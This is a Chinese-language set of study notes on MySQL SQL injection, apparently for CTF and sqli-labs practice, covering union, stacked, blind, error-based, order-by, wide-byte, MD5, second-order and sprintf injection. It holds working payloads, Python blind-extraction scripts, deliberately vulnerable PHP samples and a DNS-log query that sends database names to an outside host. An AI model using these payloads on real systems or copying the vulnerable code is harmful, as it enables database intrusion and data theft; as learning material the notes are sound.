SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令


Sql注入笔记

mysql基础知识

0X1 字符串截取函数

1
2
3
4
5
6
7
8
9
left(str,len)  //从左边开始截取len个字符

right(str,len) //从右边第index开始截取字符

substring(str,pos) //从左边index开始截取

substr(str, pos, len) //将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,ken) //截取str 从index开始,截取len的长度

0X2 字符串比较

1
2
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0

0X3 字符串连接函数

1
2
3
4
5
concat(str1,str2) //将字符串首尾相连

concat_ws(separator,str1,str2) //将字符串用指定连接符连接

group_concat()//用于把多条数据一次注入出来

0X4一些绕过注入的罕见函数

1
2
3
instr(str1,substr) //从子字符串中返回子串第一次出现的位置

lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

0X5 运算符

0X5.1算术运算符

1
+ - * /

0X5.2比较运算符

1
2
3
4
5
6
= <> != > <

(1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
(2)in //select '123' in ('12') => 0
(3)like(模糊匹配) //select '12345' like '12%' => true
(4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true

0X5.3 逻辑运算符

1
2
3
4
not或! 非  
AND 逻辑与 == &&
OR 逻辑或 == ||
XOR 逻辑异或 == ^

0X5.4位运算符

1
2
3
4
5
6
& 按位与
| 按位或
^ 按位异或
! 取反
<< 左移
>>右移

0X5.5注释符

1
2
3
# //单行注释符,url记得编码为%23
/**/
--+

OX6 常用函数

0x6.1 延时函数

1
2
sleep(duration) //暂停duration秒
benchmark(count,expr) //重复执行count次expr

0x6.2 编码函数

1
2
3
4
5
CONV(N,from_base,to_base) //N是要转换的数据,from_base是原进制,to_base是目标进制 
hex(num) //转化成16进制
unhex()
ord(str) //返回字符串第一个字符的ASCII 值
ascii(str) //返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

OX6.3文件函数

1
2
?id=1' union select 1,2,load_file('/etc/init.d/httpd')  //读取文件
select xxoo into outfile '路径' //权限较高时可直接写文件

OX7 一些构造语句

0x7.1条件语句

1
2
3
4
if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
select case when (条件) then 代码1 else 代码 2 end
IFNULL()
NULLIF()

0X8 基本信息

1
2
3
4
5
6
7
8
9
user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
length(str) :返回字符串str的长度
information_schema //系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
SCHEMATA//储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
TABLES//储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
COLUMNS//储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

手工注入基本流程

MySQL >= 5.0
OX1 获取字段数

1
order by n

OX2 获取当前数据库名

1
select null,null,...,database()

OX3 获取数据库中的表

1
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()

OX4 获取表中的字段

1
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users

OX5 获取各个字段值

1
select null,group_concat(username,password) from users

堆叠查询

来自于强网杯的第三届强网杯的一题
题目过滤了查询删除更新插入等语句

0x1查看表名

1
http://117.78.39.172:31796/?inject=0';show tables;


0x2查看字段

1
http://117.78.39.172:31796/?inject=0';desc `1919810931114514`;


0x3查看数据

1
http://117.78.39.172:31796/?inject=0';show tables;SET @haha_test = CONCAT('S','ELECT * from `1919810931114514`');PREPARE pr2 FROM @haha_test;EXECUTE pr2 ;

[SUCTF 2019]EasySQL

后台sql语句如下

1
select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

时间盲注

0x 时间盲注格式

1
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97),sleep(5),0)

0x1get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# -*- coding: utf-8 -*-
# @Author: ye1s
# @Date: 2019-01-15 16:21:36
# @Last Modified by: ye1s
# @Last Modified time: 2019-01-15 22:07:34
import requests
import time
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\""
url="http://61.10.10.128/sqli/Less-5/?id=1"
def getDbname():#爆数据库
result=""
payload="'and if((ascii(substr(database(),{0},1))={1}),sleep(5),0)%23"
for i in range(1,30):
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5: #页面判断语句记得修改
result +=char
print "dbname is:"+result
break
if "\"" == char:
return

def getTablename():#爆表名
result=""
payload="'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2}),sleep(5),0)%23"
for i in range(0,15):
tablename=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5:
tablename +=char
print "tablename is:"+tablename
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+tablename
if tablename.strip()=='':
return
print result
break
def getColumns(tablename):#爆列名
result=""
payload="'and if((ascii(substr((select column_name from information_schema.columns where table_name="+tablename+" limit {0},1),{1},1))={2}),sleep(5),0)%23"
for i in range(0,15):
columnname=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5:
columnname +=char
print tablename+"'columns is:"+columnname
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+columnname
print result
break
def getData(columnname,tablename):
result=""
payload="'and if(ascii(substr((select"+columnname+"from "+tablename+" limit {0},1),{1},1))={2}),sleep(5),5)%23"
for i in range(0,15):
data=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
startTime=time.time()
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if time.time()-startTime>5:
data +=char
print "data is:"+data
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+data
print result
break
getDbname()

0x2post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
# @Author: yeSi
# @Date: 2019-01-16 10:03:42
# @Last Modified by: yeSi
# @Last Modified time: 2019-01-16 10:40:43
import time
import requests
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\""
url="http://61.10.10.128/sqli/Less-17/"
def getDbname():
result=""
for i in range(1,15):
print i
for char in chars:
startTime=time.time()
payload={
'uname':'admin',
'passwd':"' or 1=1 and if((ascii(substr(database(),{0},1))={1}),sleep(5),0) --+".format(i,ord(char)),
'submit':'Submit'
}
print char
print payload
res=requests.post(url=url,data=payload)
if time.time()-startTime>5:
result +=char
print "dbname is:"+result
break
if "\"" == char:
return
……
getDbname()

布尔盲注

0x1 布尔盲注语句

1
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

0x2 爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\""
url="http://61.10.10.128/sqli/Less-5/?id=1"
def getDbname():#爆数据库
result=""
payload="'and ascii(substr(database(),{0},1))={1}%23"
for i in range(1,30):
for char in chars:
newurl=url+payload.format(i,ord(char))
response=requests.get(newurl)
if "You are in" in response.content: #页面判断语句记得修改
result +=char
print "dbname is:"+result
break
if "\"" == char:
return

0x 爆表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
def getTablename():#爆表名
result=""
payload="'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2}%23"
for i in range(0,15):
tablename=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if "You are in" in response.content:
tablename +=char
print "tablename is:"+tablename
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+tablename
if tablename.strip()=='':
return
print result
break

0x 爆字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
def getColumns(tablename):
result=""
payload="'and ascii(substr((select column_name from information_schema.columns where table_name="+tablename+" limit {0},1),{1},1))={2}%23"
for i in range(0,15):
columnname=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if "You are in" in response.content:
columnname +=char
print tablename+"'columns is:"+columnname
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+columnname
print result
break

0x 爆数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
def getData(columnname,tablename):
result=""
payload="'and ascii(substr((select"+columnname+"from "+tablename+" limit {0},1),{1},1))={2}%23"
for i in range(0,15):
data=""
flag=0
for j in range(1,33):
if flag==1: #判断是否得到一个表名
break
for char in chars:
newurl=url+payload.format(i,j,ord(char))
response=requests.get(newurl)
if "You are in" in response.content:
data +=char
print "data is:"+data
break
if "\"" == char:
flag=1
result +=" "+str(i)+":"+data
print result
break

报错注入

0X1 floor()和rand()
原理:https://blog.csdn.net/qq_35544379/article/details/77453019

1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用错误信息得到当前数据库名*/

0X2 ExtractValue(有长度限制,最长32位)
原理: https://www.cnblogs.com/xishaonian/p/6250444.html

1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

0X3 UpdateXml(有长度限制,最长32位)
原理: https://www.jb51.net/article/125599.htm

1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

0X4 exp()
原理:https://www.cnblogs.com/lcamry/articles/5509124.html

1
and EXP(~(SELECT * from(select user())a))

0X5 geometrycollection()

1
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

0X6 polygon()

1
id =1 AND polygon((select * from(select * from(select user())a)b))

0X7 multipoint()

1
id = 1 AND multipoint((select * from(select * from(select user())a)b))

0X8 multilinestring()

1
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

0X9 linestring()

1
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

0X10 multipolygon()

1
id =1 AND multipolygon((select * from(select * from(select user())a)b))

limit 注入

详情可看: https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
注入姿势
报错注入

1
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间注入

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
header("Content-Type: text/plain; charset=utf-8");
require("mysql.class.php");
$mysql = new MySQL("test", "root", "root");

$users = $mysql->executeSQL("SELECT * FROM user where uid < 100 ORDER BY uid limit {$_GET['p']}, 10");
if($users){
$users = var_export($users, TRUE);
echo $users;
}else{
echo $mysql->lastError;
}

宽字节注入

详细可看:https://xz.aliyun.com/t/1719
在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子

1
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'

注入姿势:

1
id=%df'order by 1 %23

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$id = @$_GET['id'];

//id没有做 整形转换
if( !isset($id)|| empty($id) ){
exit('get.id 参数不能为空');
}

try{
//分别对应的是 地址,端口号,连接的数据库,编码
$dsn = "mysql:host=127.0.0.1; port=3306; dbname=test; charset=utf8";

//帐号
$user = 'root';

//密码
$psw ='root';

//连接到 MySQL
$pdo = new PDO($dsn,$user,$psw);

//准备执行的sql语句 start
$sql = 'select * from tdb_goods where goods_id ='."'{$id}'";
echo $sql;
echo '<br/>';
//准备执行的sql语句 end

//进行查询数据库出问题则报具体错误
$res = $pdo->query($sql) or var_dump($pdo->errorInfo());

$mon = $res->fetch(PDO::FETCH_ASSOC);
print_r( $mon );

} catch (Exception $e) {
print $e->getMessage();
exit();
}

?>

mysql约束攻击

详情看:https://ch1st.github.io/2017/10/19/Mysql%E7%BA%A6%E6%9D%9F%E6%94%BB%E5%87%BB/
出现在注册用户时,对用户名参数的多余空格没有过滤。利用了在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断。

1
2
3
4
create table user(id int primary key, user varchar(10),pwd varchar(20)); //创建一个表
insert into user values(1,'admin','123'); //插入数据
insert into user values(2,'admin ','123');
select length(user) from user; //查看数据长度

order by 注入

详细看http://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html
0x1 利用报错

1
2
3
4
5
6
7
8
9
利用regexp
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误

0x2 基于盲注

1
2
3
4
注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

0x3 sqlmap
sqlmap测试
在没有过滤的情况下是能够检测到注入的

测试样题
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
array_push($reslist, $row);
}

echo json_encode($reslist);

sql

1
2
3
4
5
6
create database sqlidemo;
use sqlidemo;
create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
insert into goods (name, price) values("apple", 10);
insert into goods (name, price) values("banana", 15);
insert into goods (name, price) values("peach", 20);

MD5注入

详细可看http://blog.lvguangfa.cn/ctf/135.html
当php中使用到 md5($str,true) 输出md5值时,二进制被HEXdecode后可能会包含例如’or 1#的字符,从而产生sql注入

先看php中的md5函数,它有两个参数string和raw。
第一个参数string是必需的,规定要计算的字符串。
第二个参数raw可选,规定十六进制或二进制输出格式:

TRUE - 原始 - 16 字符二进制格式
FALSE - 默认 - 32 字符十六进制数
注入姿势:

1
2
password=129581926211651571912466741651878684928  //T0Do#'or'8
password=ffifdyop //'or'6]!r,b

测试题目

1
2
3
4
5
6
7
8
9
10
<?php
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result = mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'Success';
}else{
echo 'Failure';
}
?>

insert、update和delete报错注入

传统insert、update和delete报错注入
新式MySQL Injection in Update, Insert and Delete
0x1 传统利用方式
0x 1.1 insert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
这里我们用updatexml来演示
使用逻辑运算符(and or xor && ||)
mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (5,'name' and updatexml(2,concat(0x7e,(version())),0) and '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'


使用算数运算符(+ – * /)
mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'*updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'



使用位运算符连接(| &)
mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'|updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

0x1.2 update

1
2
mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

0x1.3 delete

1
2
mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or '';
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

0x2 新式利用
语句格式

1
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

0x2.1 update

1
update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16, 10) where id='16';

0x2.2 Insert

1
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16, 10);

0x2.3 Limitations in MySQL 5.7

1
update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) where id=14;

二次注入

详细可看此文章:MySQL注入系列之二次注入(三)
测试代码
config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
mysql_connect('localhost', 'root', 'mysql');
mysql_select_db('sqlinject');
mysql_set_charset('utf-8');
if (!get_magic_quotes_gpc()){
if (!empty($_GET)){
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)){
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}

function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}
?>

reg.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
include "config.php";
if(!empty($_POST['submit'])){
$username = $_POST['username'];
$password = $_POST['password'];
$email = $_POST['email'];

$sql = "INSERT INTO `sqlinject`.`users` (`id`, `username`, `password`, `email`)
VALUE (NULL, '$username', '$password', '$email');";
$row = mysql_query($sql);
if ($row){
echo "注册成功";
} else {
echo "注册失败";
}
}
?>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<form action="" method="POST">
username<input type="text" name="username"><br/>
password<input type="text" name="password"><br/>
email<input type="text" name="email"><br/>
<input type="submit" name="submit" value="ok">
</form>

search.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
include "config.php";
if(!empty($_POST['submit'])){
$email = $_POST['email'];
$sql = "select * from users where email='{$email}'";
$row = mysql_query($sql);

if ($row){
$rows = mysql_fetch_array($row);
$username = $rows['username'];
$sql = "select * from users where username='$username'";
$row = mysql_query($sql) or die(mysql_error());
if ($row){
$rows = mysql_fetch_array($row);
echo $rows['username']."<br/>";
echo $rows['password']."<br/>";
echo $rows['email']."<br/>";
}
}
}
?>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<form action="" method="POST">
search email<input type="text" name="email"><br/>
<input type="submit" name="submit" value="ok">
</form>

dns注入

DNSLOG 注入 ¶
DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

dnslog 平台:http://ceye.io/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> use security;
Database changed

mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

sprintf注入

1,sprintf(),函数是php中的函数
2,作用是将格式化字符串写入变量中
3,函数形式为sprintf(format,arg1,arg2,arg++)

参数说明:

*若%符号多于arg参数,则需要占位符,占位符格式为“%number$” 其中number表示该项与第几个arg匹配,如若与第一个匹配 则占位符为“%1$” *

sprintf注入的原理就是:
我们用一个15种类型之外的 “"来代替格式字符类型让函数替换为空,则“%1$'”后面的单引号就能闭合前面的单引号 。
如果我们输入”%"或者”%1$",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么”%",”%1$"就因为没有经过任何处理而被替换为空。

例子:

1
2
3
4
5
6
7
<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo $sql ;
?>

结果

1
2
3
%1$\' and 1=1#
AND b='%1$\' and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

另一个例子:

1
2
3
4
5
6
7
<?php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
echo($sql."<br>");
$sql = sprintf ( $sql , $input2 );
echo $sql ;

结果:

1
2
SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s
SELECT * FROM foo WHERE bar IN (' ') OR 1 = 1 /* ') AND baz = 39

常用工具

Burp Suite
HackBar (Firefox addon)
sqlmap

sql注入绕过

可看此文章
https://www.cnblogs.com/Vinson404/p/7253255.html
参考文件:
史上最水的MYSQL注入总结:https://xz.aliyun.com/t/3992
sql注入总结: https://xz.aliyun.com/t/2869#toc-12
ctfwiki: https://ctf-wiki.github.io/ctf-wiki/web/sqli/#_13
一种新的MySQL下Update、Insert注入方法https://www.anquanke.com/post/id/85487
解析php sprintf函数漏洞 https://blog.csdn.net/WQ_BCJ/article/details/85057447

PHP sprintf格式化字符串漏洞 https://mp.weixin.qq.com/s/eEJPvbH7xwINjQvJGY_A_A